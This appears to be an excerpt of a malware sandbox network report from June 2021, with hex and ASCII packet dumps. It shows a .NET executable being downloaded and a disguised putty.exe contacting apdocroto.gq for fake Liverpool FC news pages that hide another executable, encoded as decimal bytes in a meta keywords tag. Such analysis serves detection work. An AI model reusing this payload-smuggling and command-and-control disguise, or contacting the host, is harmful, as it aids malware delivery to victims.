01 00 00 70 19 8d 01 00 00 01 25 16 72 15 00 00 70 a2 25 17 72 19 00 00 70 a2 25 18 72 1d 00 00 70 a2 28 07 00 00 0a 72 21 00 00 70 6f 08 00 00 0a 10 02 05 72 23 00 00 70 28 09 00 00 0a 0b 2b 06 fe 16 0a 00 00 01 07 2c 12 00 0e 04 14 04 0e 05 14 14 14 17 28 0a 00 00 0a 0a 00 05 72 27 00 00 70 28 09 00 00 0a 0c 08 2c 10 00 0e 04 14 04 14 14 14 14 28 0b 00 00 0a 0a 00 05 72 2b 00 00 70 28 09 00 00 0a 0d 09 2c 11 00 0e 04 14 04 0e 05 14 14 14 28 0b 00 00 0a 0a 00 06 13 04 2b 00 11 04 2a 1b 30 07 00 b6 06 00 00 02 00 00 11 00 7e 0d 00 00 0a 0a 03 28 0e 00 00 0a 74 0d 00 00 01 0b 2b 06 fe 16 12 00 00 01 07 72 2f 00 00 70 1f 10 8d 01 00 00 01 25 16 72 9d 00 00 70 a2 25 17 72 a1 00 00 70 a2 25 18 72 a1 00 00 70 a2 25 19 72 a5 00 00 70 a2 25 1a 72 a9 00 00 70 a2 25 1b 72 ad 00 00 70 a2 25 1c 72 9d 00 00 70 a2 25 1d 72 b1 00 00 70 a2 25 1e 72 a9 00 00 70 a2 25 1f 09 72 b5 00 00 70 a2 25 1f 0a 72 b9 00 00 70 a2 25 1f 0b 72 bd 00 00 70 a2 25 1f 0c 72 c1 00 00 70 a2 25 1f 0d 72 c5 00 00 70 a2 25 1f 0e 72 b5 00 00 70 a2 25 1f 0f 72 b9 00 00 70 a2 28 07 00 00 0a 6f 0f 00 00 0a 00 07 6f 10 00 00 0a 72 c9 00 00 70 1f 09 8d 01 00 00 01 25 16 72 01 01 00 70 a2 25 17 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"0Lk @ k`xkS(` H.textK L `.rsrcN@@.reloc`@BkH@\+"(B((>r,po/"(0Vs(1t0rp%rp%rp%rp(r!por#p(+,(r'p(,(r+p(,(+*0~(t+r/p%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp(oorp%rp%
Jun 16, 2021 12:04:49.116260052 CEST	3	IN	Data Raw: 72 c5 00 00 70 a2 25 18 72 05 01 00 70 a2 25 19 72 09 01 00 70 a2 25 1a 72 0d 01 00 70 a2 25 1b 72 11 01 00 70 a2 25 1c 72 05 01 00 70 a2 25 1d 72 b9 00 00 70 a2 25 1e 72 b1 00 00 70 a2 28 07 00 00 0a 72 15 01 00 70 1f 7a 8d 01 00 00 01 25 16 72 Data Ascii: rp%rp%rp%rp%rp%rp%rp%rp(rpz%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%rp%r#p%r#p%r p%rp%r$p%
Jun 16, 2021 12:04:49.116298914 CEST	4	IN	Data Raw: 25 18 72 9d 00 00 70 a2 25 19 72 09 01 00 70 a2 25 1a 72 05 01 00 70 a2 25 1b 72 09 01 00 70 a2 25 1c 72 14 05 00 70 a2 25 1d 72 40 06 00 70 a2 25 1e 72 b1 00 00 70 a2 25 1f 09 72 b5 00 00 70 a2 25 1f 0a 72 60 05 00 70 a2 25 1f 0b 72 05 01 00 70 Data Ascii: %rp%rp%rp%rp%rp%r@p%rp%rp%r`p%rp%rp%rDp(ootoso,o+0(o++0rHp+
Jun 16, 2021 12:04:49.116439104 CEST	6	IN	Data Raw: 78 05 00 70 a2 25 1f 49 72 28 05 00 70 a2 25 1f 4a 72 b1 00 00 70 a2 25 1f 4b 72 28 05 00 70 a2 25 1f 4c 72 09 01 00 70 a2 25 1f 4d 72 05 01 00 70 a2 25 1f 4e 72 0c 0c 00 70 a2 25 1f 4f 72 a3 07 00 70 a2 25 1f 50 72 9d 00 00 70 a2 25 1f 51 72 a5 Data Ascii: xp%Ir(p%Jrp%Kr(p%Lrp%Mrp%Nrp%Orp%Prp%Qrp%Rrp%Srp%Trp%Urp%Vrlp%Wrp%Xrp%Yrp%Zrp%[rp%\rp%]rp%^rhp%_rhp%`r4p%ar+p%brp%cr
Jun 16, 2021 12:04:49.198018074 CEST	7	IN	Data Raw: 57 72 0c 0c 00 70 a2 25 1f 58 72 0c 0c 00 70 a2 25 1f 59 72 11 01 00 70 a2 25 1f 5a 72 b5 00 00 70 a2 25 1f 5b 72 9d 00 00 70 a2 25 1f 5c 72 a5 00 00 70 a2 25 1f 5d 72 0c 0c 00 70 a2 25 1f 5e 72 10 05 00 70 a2 25 1f 5f 72 3c 06 00 70 a2 25 1f 60 Data Ascii: Wrp%Xrp%Yrp%Zrp%[rp%\rp%]rp%^rp%_r<p%`rp%arPp%brp%crp%drPp%erp%frp%grp%hrp%ir+p%jrp%kr0p%lrp%mrp%nr<p%or<p%prp%qrp%
Jun 16, 2021 12:04:49.198076010 CEST	9	IN	Data Raw: 25 1f 66 72 2b 00 00 70 a2 25 1f 67 72 2b 00 00 70 a2 25 1f 68 72 08 05 00 70 a2 25 1f 69 72 0d 01 00 70 a2 25 1f 6a 72 3c 06 00 70 a2 25 1f 6b 72 50 05 00 70 a2 25 1f 6c 72 27 00 00 70 a2 25 1f 6d 72 68 05 00 70 a2 25 1f 6e 72 3c 06 00 70 a2 25 Data Ascii: %fr+p%gr+p%hrp%irp%jr<p%krPp%lr'p%mrhp%nr<p%orp%prPp%qr0p%rr4p%sr4p%trp%ur+p%vr0p%wrp%xr'p%yrp%zr#p%{rhp%\|rp%}r'p%~rp%rlp% r
Jun 16, 2021 12:04:49.198214054 CEST	10	IN	Data Raw: 00 70 a2 25 1f 0d 72 19 00 00 70 a2 25 1f 0e 72 1d 00 00 70 a2 25 1f 0f 72 05 01 00 70 a2 25 1f 10 72 15 00 00 70 a2 25 1f 11 72 19 00 00 70 a2 25 1f 12 72 1d 00 00 70 a2 25 1f 13 72 70 05 00 70 a2 25 1f 14 72 15 00 00 70 a2 25 1f 15 72 19 00 00 Data Ascii: p%rp%rp%rp%rp%rp%rp%rpp%rp%rp%rp%rHp%rp%rp%rp%rp%rp%rp%rp%rp% rp%!rp%"rp(r'p(s <rp
Jun 16, 2021 12:04:49.198256969 CEST	11	IN	Data Raw: 36 04 ac 05 06 00 01 00 9a 00 77 00 7e 04 00 00 06 00 6f 04 17 05 0a 00 f5 02 f8 04 0a 00 13 04 f8 04 06 00 5c 04 a1 03 0a 00 d2 03 f8 04 0a 00 e2 03 f8 04 0a 00 36 01 f8 04 0a 00 49 01 8c 03 06 00 21 03 62 00 06 00 19 04 40 03 06 00 5c 03 c2 02 Data Ascii: 6w~o\6I!b@\@G@#!HoroYooo z4 \|K \|
Jun 16, 2021 12:04:49.198379040 CEST	13	IN	Data Raw: 65 61 64 54 6f 45 6e 64 00 41 70 70 65 6e 64 00 50 61 72 73 65 46 61 69 6c 75 72 65 4b 69 6e 64 00 52 65 70 6c 61 63 65 00 49 44 69 73 70 6f 73 61 62 6c 65 00 54 79 70 65 00 43 61 70 74 75 72 65 00 41 70 70 6c 69 63 61 74 69 6f 6e 53 65 74 74 69 Data Ascii: eadToEndAppendParseFailureKindReplaceIDisposableTypeCaptureApplicationSettingsBaseHttpWebResponseGetResponseDisposeCreateCompilerGeneratedAttributeGeneratedCodeAttributeDebuggerNonUserCodeAttributeDefaultSettingValueAttributeUs
Jun 16, 2021 12:04:49.198446035 CEST	14	IN	Data Raw: bf ea a4 b4 ea a4 87 ea a4 83 ea a4 83 ea a4 ba ea a4 98 ea a4 87 ea a4 b1 ea a4 83 ea a4 b0 ea a4 87 ea a4 b8 ea a4 83 ea a4 81 ea a4 87 ea a4 b0 ea a4 bc ea a4 b3 ea a4 b5 ea a4 b0 ea a4 81 00 e2 af 9e e2 af 81 e2 af a8 e2 af b2 e2 af 81 e2 af Data Ascii:
Jun 16, 2021 12:04:49.198590040 CEST	16	IN	Data Raw: e8 a7 b2 e8 a7 a1 e8 a6 b6 e8 a7 8b e8 a7 a9 e8 a7 b3 e8 a7 a0 e8 a7 81 e8 a7 8d e8 a6 b2 e8 a7 a3 00 ea bc 9a ea bc b5 ea bc a2 ea bc af ea bc a3 ea bc bd ea bc 9a ea bd 8e ea bd a1 ea bc a3 00 e4 90 b7 e4 90 af e4 90 b0 e4 90 b6 e4 91 8f e4 90 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49167	104.21.14.60	80	C:\Users\user\AppData\Roaming\putty.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2021 12:04:52.577344894 CEST	215	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq Connection: Keep-Alive
Jun 16, 2021 12:04:52.945996046 CEST	217	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:04:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e0f80100004ddc50151000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=VwYVzkZ29F%2BI50W%2Fb4Yt9KU4uYR4Tg0DUwqkstjbzPTDbxYCC%2BJUr3xpogofqRpOIDcGdl%2By1eK0vgp54oYs0%2BYlQnj8swUggzGoQ%2FKOkTCjaHA1KlJoGKXD"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6603376cce8b4ddc-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://feli
Jun 16, 2021 12:04:52.946053028 CEST	218	IN	Data Raw: 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d Data Ascii: x.data.tm-awx.com"><link rel="dns-prefetch" href="https://www.googletagmanager.com"><link rel="preconnect" href="https://www.googletagmanager.com"><link rel="dns-prefetch" href="https://www.google-analytics.com"><link rel="preconnect" href="ht
Jun 16, 2021 12:04:52.946083069 CEST	220	IN	Data Raw: 2f 77 6f 66 66 32 2f 53 69 67 6e 69 6b 61 4e 65 67 61 74 69 76 65 2d 42 6f 6c 64 2e 34 37 62 33 39 38 65 38 31 63 39 66 32 65 32 65 2e 77 6f 66 66 32 22 20 61 73 3d 22 66 6f 6e 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 63 72 6f 73 73 6f 72 Data Ascii: /woff2/SignikaNegative-Bold.47b398e81c9f2e2e.woff2" as="font" crossorigin="crossorigin"><link rel="preload" href="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/webfonts/woff2/opensans-bold-webfont.1b0229cc78352a07.woff
Jun 16, 2021 12:04:52.946110010 CEST	221	IN	Data Raw: 69 63 6c 65 2d 73 65 72 76 69 63 65 2f 72 65 61 64 2d 6e 65 78 74 2f 73 63 73 73 2f 72 65 61 64 2d 6e 65 78 74 2e 63 73 73 3f 76 3d 62 37 39 30 35 33 33 65 38 65 35 61 37 30 66 66 61 30 63 32 63 36 63 38 64 31 31 38 63 34 30 37 22 3e 0d 0a 3c 73 Data Ascii: icle-service/read-next/scss/read-next.css?v=b790533e8e5a70ffa0c2c6c8d118c407"><script type="text/javascript">/! $script.js JS loader & dependency manager* https://github.com/ded/script.js* (c) Dustin Diaz 2014 \| License MIT*/(fun
Jun 16, 2021 12:04:52.946157932 CEST	222	IN	Data Raw: 67 65 22 2c 75 3d 7b 7d 2c 61 3d 7b 7d 2c 66 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 2c 68 3b 72 65 74 75 72 6e 20 76 2e 67 65 74 3d 6d 2c 76 2e 6f 72 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 66 75 6e 63 74 69 6f 6e 20 72 28 69 29 7b Data Ascii: ge",u={},a={},f={},l={},c,h;return v.get=m,v.order=function(e,t,n){(function r(i){i=e.shift(),e.length?v(i,r):v(i,t,n)})()},v.path=function(e){c=e},v.urlArgs=function(e){h=e},v.ready=function(e,t,n){e=e[i]?e:[e];var r=[];return!d(e,function(e)
Jun 16, 2021 12:04:52.946196079 CEST	224	IN	Data Raw: 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 22 67 74 6d 2e 73 74 61 72 74 22 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 22 67 74 6d 2e 6a 73 22 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c Data Ascii: ]\|\|[];w[l].push({"gtm.start":new Date().getTime(),event:"gtm.js"});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!="dataLayer"?"&l="+l:"";j.async=true;j.src="https://www.googletagmanager.com/gtm.js?id="+i+dl;f.parentNode.in
Jun 16, 2021 12:04:52.946233034 CEST	224	IN	Data Raw: 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 Data Ascii: ="viewport" content="width=device-width, initial-scale=1"><meta name="description" content="Rhian Brewster was hyped up before the start of the season, but was that fair?"><meta name="robots" content="noarchive">
Jun 16, 2021 12:04:53.528929949 CEST	226	IN	Data Raw: 37 66 66 39 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 37 37 20 39 30 20 31 34 34 20 30 20 33 20 30 20 30 20 30 20 34 20 30 20 30 20 30 20 32 35 35 20 32 35 35 20 30 20 30 20 31 38 34 20 30 Data Ascii: 7ff9<meta name="keywords" content="77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112
Jun 16, 2021 12:04:53.528987885 CEST	227	IN	Data Raw: 38 20 31 32 33 20 30 20 30 20 31 39 32 20 38 20 39 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 Data Ascii: 8 123 0 0 192 8 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 26 40 13 0 0 6 42 42 254 9 0 0 40 110 0 0 10 42 30 2 40 128 0 0 10 42 38 0 2 40 129 0 0 10 0 42 166 115 130 0 0 10 128 4 0 0 4 115 131 0 0 10 1
Jun 16, 2021 12:04:53.529005051 CEST	228	IN	Data Raw: 20 32 35 34 20 31 32 20 30 20 30 20 35 37 20 31 34 36 20 31 20 30 20 30 20 30 20 30 20 34 30 20 31 32 20 30 20 30 20 31 30 20 32 35 34 20 31 34 20 33 20 30 20 32 35 34 20 31 33 20 33 20 30 20 32 35 34 20 32 32 20 33 32 20 30 20 30 20 31 20 31 31 Data Ascii: 254 12 0 0 57 146 1 0 0 0 0 40 12 0 0 10 254 14 3 0 254 13 3 0 254 22 32 0 0 1 111 13 0 0 10 114 246 179 3 112 40 14 0 0 10 254 14 1 0 114 0 180 3 112 40 15 0 0 10 40 12 0 0 10 254 14 3 0 254 13 3 0 254 22 32 0 0 1 111 13 0 0 10 40 16 0 0 10
Jun 16, 2021 12:04:53.529021025 CEST	230	IN	Data Raw: 38 20 31 32 20 30 20 37 39 20 30 20 30 20 30 20 33 20 30 20 30 20 31 37 20 31 34 30 20 32 39 20 30 20 30 20 31 20 30 20 34 30 20 33 34 20 30 20 30 20 31 30 20 31 31 31 20 33 35 20 30 20 30 20 31 30 20 31 31 31 20 33 36 20 30 20 30 20 31 30 20 31 Data Ascii: 8 12 0 79 0 0 0 3 0 0 17 140 29 0 0 1 0 40 34 0 0 10 111 35 0 0 10 111 36 0 0 10 114 253 180 3 112 111 37 0 0 10 40 34 0 0 10 111 35 0 0 10 111 36 0 0 10 114 5 181 3 112 111 37 0 0 10 96 254 14 0 0 56 8 0 0 0 43 6 254 22 49 0 0 1 254 12 0 0 42
Jun 16, 2021 12:04:54.698050022 CEST	1509	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq
Jun 16, 2021 12:04:54.905277967 CEST	1511	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:04:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e1004d00004ddc2237e000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=xKt%2BOwVdR1cNXthi8PNMpXmZoUy6VUWpdCf0lvDjpxT4k%2F28B4MTO4w2kGxH9s6%2BvT208b%2F8RG4Gspm%2F0uFwwI%2FJuTSR6P4hKl%2FKSppz7sJWDC%2FoEL%2FW%2Bfhq"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6603377a1e364ddc-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="http
Jun 16, 2021 12:04:56.378340006 CEST	2798	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq
Jun 16, 2021 12:04:56.773211956 CEST	2800	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:04:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:32 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e106db00004ddc2a0de000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=%2FnI%2FP3QmzbT%2FvoKtzkxvqaIE%2FFSsZtUnGXnY6FIgfrQSfMZydQfGLsfK3bX9n3FxAH81PQShOTHr2lfSVbGUewlzHrEVYNQuOe4Fbc%2BbTPvbqK6PUzfq%2BR3q"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 660337849c824ddc-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 64 33 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link 